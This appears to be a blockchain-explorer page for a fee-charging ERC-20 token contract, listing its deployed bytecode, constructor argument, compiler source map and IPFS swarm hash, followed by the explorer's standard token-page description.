f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204043f551732bf8d7db894339d66cc9e5139284b48456007e42cedb458628ea7964736f6c63430008130033000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
Deployed Bytecode
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b600181811c9082168061102757607f821691505b60208210810361104757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105635761056361104d565b60ff81811683821601908111156105635761056361104d565b60ff82811682821603908111156105635761056361104d565b80820281158282048414176105635761056361104d565b6000826110dc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105635761056361104d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111c57600080fd5b8151610cbd81610f38565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111775784516001600160a01b031683529383019391830191600101611152565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204043f551732bf8d7db894339d66cc9e5139284b48456007e42cedb458628ea7964736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
-----Decoded View---------------
Arg [0] : _tokens (uint256): 999999999999999999999999999999
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff
Deployed Bytecode Sourcemap
13885:6920:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16309:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17146:161;;;;;;;;;;-1:-1:-1;17146:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17146:161:0;1023:187:1;14887:41:0;;;;;;;;;;-1:-1:-1;14887:41:0;;;;;;;-1:-1:-1;;;;;14887:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;14887:41:0;1215:230:1;16491:95:0;;;;;;;;;;-1:-1:-1;16571:7:0;;16491:95;;;1596:25:1;;;1584:2;1569:18;16491:95:0;1450:177:1;14970:28:0;;;;;;;;;;-1:-1:-1;14970:28:0;;;;-1:-1:-1;;;14970:28:0;;;;;;17315:313;;;;;;;;;;-1:-1:-1;17315:313:0;;;;;:::i;:::-;;:::i;16400:83::-;;;;;;;;;;-1:-1:-1;16466:9:0;;16400:83;;16466:9;;;;2235:36:1;;2223:2;2208:18;16400:83:0;2093:184:1;17636:218:0;;;;;;;;;;-1:-1:-1;17636:218:0;;;;;:::i;:::-;;:::i;14935:28::-;;;;;;;;;;-1:-1:-1;14935:28:0;;;;-1:-1:-1;;;;;14935:28:0;;;15005:40;;;;;;;;;;-1:-1:-1;15005:40:0;;;;-1:-1:-1;;;15005:40:0;;;;;;14419:82;;;;;;;;;;-1:-1:-1;14419:82:0;;;;-1:-1:-1;;;;;14419:82:0;;;16689:123;;;;;;;;;;-1:-1:-1;16689:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;16782:22:0;16755:7;16782:22;;;:13;:22;;;;;;;16689:123;13724:148;;;;;;;;;;;;;:::i;:::-;;13501:87;;;;;;;;;;-1:-1:-1;13547:7:0;13574:6;-1:-1:-1;;;;;13574:6:0;13501:87;;16594;;;;;;;;;;;;;:::i;14064:54::-;;;;;;;;;;-1:-1:-1;14064:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17862:269;;;;;;;;;;-1:-1:-1;17862:269:0;;;;;:::i;:::-;;:::i;16820:167::-;;;;;;;;;;-1:-1:-1;16820:167:0;;;;;:::i;:::-;;:::i;14638:53::-;;;;;;;;;;;;;;;;14558:39;;;;;;;;;;;;;:::i;14510:41::-;;;;;;;;;;;;;:::i;16995:143::-;;;;;;;;;;-1:-1:-1;16995:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17103:18:0;;;17076:7;17103:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16995:143;14318:94;;;;;;;;;;-1:-1:-1;14318:94:0;;;;-1:-1:-1;;;;;14318:94:0;;;14125:48;;;;;;;;;;-1:-1:-1;14125:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16309:83;16346:13;16379:5;16372:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16309:83;:::o;17146:161::-;17221:4;17238:39;1881:10;17261:7;17270:6;17238:8;:39::i;:::-;-1:-1:-1;17295:4:0;17146:161;;;;;:::o;17315:313::-;17413:4;17430:36;17440:6;17448:9;17459:6;17430:9;:36::i;:::-;17477:121;17486:6;1881:10;17508:89;17546:6;17508:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17508:19:0;;;;;;:11;:19;;;;;;;;1881:10;17508:33;;;;;;;;;;:37;:89::i;:::-;17477:8;:121::i;:::-;-1:-1:-1;17616:4:0;17315:313;;;;;:::o;17636:218::-;1881:10;17724:4;17773:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17773:34:0;;;;;;;;;;17724:4;;17741:83;;17764:7;;17773:50;;17812:10;17773:38;:50::i;13724:148::-;13547:7;13574:6;-1:-1:-1;;;;;13574:6:0;1881:10;13636:23;13628:68;;;;-1:-1:-1;;;13628:68:0;;3946:2:1;13628:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;13628:68:0;;;;;;;;;13831:1:::1;13815:6:::0;;13794:40:::1;::::0;-1:-1:-1;;;;;13815:6:0;;::::1;::::0;13794:40:::1;::::0;13831:1;;13794:40:::1;13862:1;13845:19:::0;;-1:-1:-1;;;;;;13845:19:0::1;::::0;;13724:148::o;16594:87::-;16633:13;16666:7;16659:14;;;;;:::i;17862:269::-;17955:4;17972:129;1881:10;17995:7;18004:96;18043:15;18004:96;;;;;;;;;;;;;;;;;1881:10;18004:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18004:34:0;;;;;;;;;;;;:38;:96::i;16820:167::-;16898:4;16915:42;1881:10;16939:9;16950:6;16915:9;:42::i;14558:39::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14510:41::-;;;;;;;:::i;18180:254::-;-1:-1:-1;;;;;18273:19:0;;;;;;:44;;-1:-1:-1;;;;;;18296:21:0;;;;18273:44;18265:66;;;;-1:-1:-1;;;18265:66:0;;4307:2:1;18265:66:0;;;4289:21:1;4346:1;4326:18;;;4319:29;-1:-1:-1;;;4364:18:1;;;4357:39;4413:18;;18265:66:0;4105:332:1;18265:66:0;-1:-1:-1;;;;;18342:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18394:32;;1596:25:1;;;18394:32:0;;1569:18:1;18394:32:0;;;;;;;18180:254;;;:::o;18442:1648::-;-1:-1:-1;;;;;18525:25:0;;;;;;:21;:25;;;;;;;;18520:236;;18602:25;18623:3;18602:16;18614:3;18602:7;;:11;;:16;;;;:::i;:::-;:20;;:25::i;:::-;18591:6;18575:13;18585:2;-1:-1:-1;;;;;16782:22:0;16755:7;16782:22;;;:13;:22;;;;;;;16689:123;18575:13;:22;;;;:::i;:::-;18574:53;;18566:80;;;;-1:-1:-1;;;18566:80:0;;4906:2:1;18566:80:0;;;4888:21:1;4945:2;4925:18;;;4918:30;-1:-1:-1;;;4964:18:1;;;4957:45;5019:18;;18566:80:0;4704:339:1;18566:80:0;18520:236;;;-1:-1:-1;;;;;18701:13:0;;;;;;:9;:13;;;;;;;;:43;;18733:11;;-1:-1:-1;;;18733:11:0;;;;18701:43;;;18717:11;;:13;;-1:-1:-1;;;18717:11:0;;;;18729:1;18717:13;:::i;:::-;18687:11;;:57;;;;;;;;;;;;;;;;;;18520:236;-1:-1:-1;;;;;18783:13:0;;18766:14;18783:13;;;:9;:13;;;;;;;;:28;;18810:1;18783:28;;;18797:12;;18783:28;18840:11;;18766:45;;-1:-1:-1;18840:11:0;;;;;;;18825;;;;:26;;;;:47;;-1:-1:-1;18856:16:0;;-1:-1:-1;;;18856:16:0;;;;18855:17;18825:47;:72;;;;-1:-1:-1;18884:13:0;;-1:-1:-1;;;;;18876:21:0;;;18884:13;;18876:21;;18825:72;:97;;;;-1:-1:-1;18901:21:0;;-1:-1:-1;;;18901:21:0;;;;18825:97;18822:406;;;18941:11;:15;;-1:-1:-1;;18941:15:0;;;19012:4;-1:-1:-1;16782:22:0;;;-1:-1:-1;16782:22:0;;;;;;19051:7;;:25;;19072:3;;19051:16;;19063:3;19051:11;:16::i;:25::-;19036:12;:40;19033:87;;;19094:24;19114:3;19094:15;19106:2;19094:7;;:11;;:15;;;;:::i;:24::-;19079:39;;19033:87;19137:16;;19134:83;;19173:28;19188:12;19173:14;:28::i;:::-;18924:304;18822:406;19255:3;;19272:11;;19255:3;;;;;-1:-1:-1;;;19272:11:0;;;;:15;;;;:43;;-1:-1:-1;19301:13:0;;-1:-1:-1;;;;;19293:21:0;;;19301:13;;19293:21;19291:24;19272:43;19269:103;;;19355:14;;19340:29;;19355:14;;;;;;;19340;;;;:29;:::i;:::-;19328:42;;:8;:42;:::i;:::-;19317:53;;19269:103;-1:-1:-1;;;;;19422:21:0;;19384:16;19422:21;;;:15;:21;;;;;;;;;:44;;-1:-1:-1;;;;;;19447:19:0;;;;;;:15;:19;;;;;;;;19422:44;19419:93;;;-1:-1:-1;19496:4:0;19419:93;-1:-1:-1;;;;;19578:19:0;;19524:17;19578:19;;;:13;:19;;;;;;:31;;19602:6;19578:23;:31::i;:::-;-1:-1:-1;;;;;19556:19:0;;;;;;:13;:19;;;;;:53;19624:11;19620:421;;19663:29;19688:3;19663:20;:6;:20;;;:10;:20::i;:29::-;19651:41;-1:-1:-1;19727:44:0;19749:21;:6;19651:41;19749:10;:21::i;:::-;-1:-1:-1;;;;;19727:17:0;;;;;;:13;:17;;;;;;;:21;:44::i;:::-;-1:-1:-1;;;;;19707:17:0;;;;;;:13;:17;;;;;:64;19620:421;;;-1:-1:-1;;;;;19815:13:0;;;;;;:9;:13;;;;;;;;19812:218;;;19868:44;19890:21;:6;19901:9;19890:10;:21::i;19812:218::-;-1:-1:-1;;;;;19985:17:0;;;;;;:13;:17;;;;;;:29;;20007:6;19985:21;:29::i;:::-;-1:-1:-1;;;;;19965:17:0;;;;;;:13;:17;;;;;:49;19812:218;20071:2;-1:-1:-1;;;;;20056:26:0;20065:4;-1:-1:-1;;;;;20056:26:0;;20075:6;20056:26;;;;1596:25:1;;1584:2;1569:18;;1450:177;20056:26:0;;;;;;;;18509:1581;;;;18442:1648;;;:::o;1332:206::-;1418:7;1479:12;1471:6;;;;1463:29;;;;-1:-1:-1;;;1463:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1514:5:0;;;1332:206::o;904:98::-;962:7;989:5;993:1;989;:5;:::i;:::-;982:12;904:98;-1:-1:-1;;;904:98:0:o;1116:::-;1174:7;1201:5;1205:1;1201;:5;:::i;1226:98::-;1284:7;1311:5;1315:1;1311;:5;:::i;20222:179::-;15355:16;:23;;-1:-1:-1;;;;15355:23:0;-1:-1:-1;;;15355:23:0;;;20299:30:::1;20316:12:::0;20299:16:::1;:30::i;:::-;20353:17;::::0;20340:53:::1;::::0;-1:-1:-1;;;;;20353:17:0::1;20371:21;20340:12;:53::i;:::-;-1:-1:-1::0;15401:16:0;:24;;-1:-1:-1;;;;15401:24:0;;;20222:179::o;1010:98::-;1068:7;1095:5;1099:1;1095;:5;:::i;20409:391::-;20499:16;;;20513:1;20499:16;;;;;;;;20475:21;;20499:16;;;;;;;;;;-1:-1:-1;20499:16:0;20475:40;;20544:4;20526;20531:1;20526:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20526:23:0;;;-1:-1:-1;;;;;20526:23:0;;;;;20570:15;;;;;;;;;-1:-1:-1;;;;;20570:15:0;-1:-1:-1;;;;;20570:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20560:4;20565:1;20560:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20560:32:0;;;:7;;;;;;;;;:32;20635:15;;20603:62;;20620:4;;20635:15;;;;20653:11;20603:8;:62::i;:::-;20676:15;;:116;;-1:-1:-1;;;20676:116:0;;:15;;;;-1:-1:-1;;;;;20676:15:0;;:66;;:116;;20743:11;;20755:1;;20757:4;;20770;;20776:15;;20676:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20464:336;20409:391;:::o;20102:112::-;20183:23;;-1:-1:-1;;;;;20183:15:0;;;:23;;;;;20199:6;;20183:23;;;;20199:6;20183:15;:23;;;;;;;;;;;;;;;;;;;;;20102:112;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2714:247::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2881:9;2868:23;2900:31;2925:5;2900:31;:::i;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3359:380::-;3438:1;3434:12;;;;3481;;;3502:61;;3556:4;3548:6;3544:17;3534:27;;3502:61;3609:2;3601:6;3598:14;3578:18;3575:38;3572:161;;3655:10;3650:3;3646:20;3643:1;3636:31;3690:4;3687:1;3680:15;3718:4;3715:1;3708:15;3572:161;;3359:380;;;:::o;4442:127::-;4503:10;4498:3;4494:20;4491:1;4484:31;4534:4;4531:1;4524:15;4558:4;4555:1;4548:15;4574:125;4639:9;;;4660:10;;;4657:36;;;4673:18;;:::i;5048:148::-;5136:4;5115:12;;;5129;;;5111:31;;5154:13;;5151:39;;;5170:18;;:::i;5201:151::-;5291:4;5284:12;;;5270;;;5266:31;;5309:14;;5306:40;;;5326:18;;:::i;5357:168::-;5430:9;;;5461;;5478:15;;;5472:22;;5458:37;5448:71;;5499:18;;:::i;5530:217::-;5570:1;5596;5586:132;;5640:10;5635:3;5631:20;5628:1;5621:31;5675:4;5672:1;5665:15;5703:4;5700:1;5693:15;5586:132;-1:-1:-1;5732:9:1;;5530:217::o;5752:128::-;5819:9;;;5840:11;;;5837:37;;;5854:18;;:::i;6017:127::-;6078:10;6073:3;6069:20;6066:1;6059:31;6109:4;6106:1;6099:15;6133:4;6130:1;6123:15;6149:251;6219:6;6272:2;6260:9;6251:7;6247:23;6243:32;6240:52;;;6288:1;6285;6278:12;6240:52;6320:9;6314:16;6339:31;6364:5;6339:31;:::i;6405:980::-;6667:4;6715:3;6704:9;6700:19;6746:6;6735:9;6728:25;6772:2;6810:6;6805:2;6794:9;6790:18;6783:34;6853:3;6848:2;6837:9;6833:18;6826:31;6877:6;6912;6906:13;6943:6;6935;6928:22;6981:3;6970:9;6966:19;6959:26;;7020:2;7012:6;7008:15;6994:29;;7041:1;7051:195;7065:6;7062:1;7059:13;7051:195;;;7130:13;;-1:-1:-1;;;;;7126:39:1;7114:52;;7221:15;;;;7186:12;;;;7162:1;7080:9;7051:195;;;-1:-1:-1;;;;;;;7302:32:1;;;;7297:2;7282:18;;7275:60;-1:-1:-1;;;7366:3:1;7351:19;7344:35;7263:3;6405:980;-1:-1:-1;;;6405:980:1:o
Swarm Source
ipfs://4043f551732bf8d7db894339d66cc9e5139284b48456007e42cedb458628ea79
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.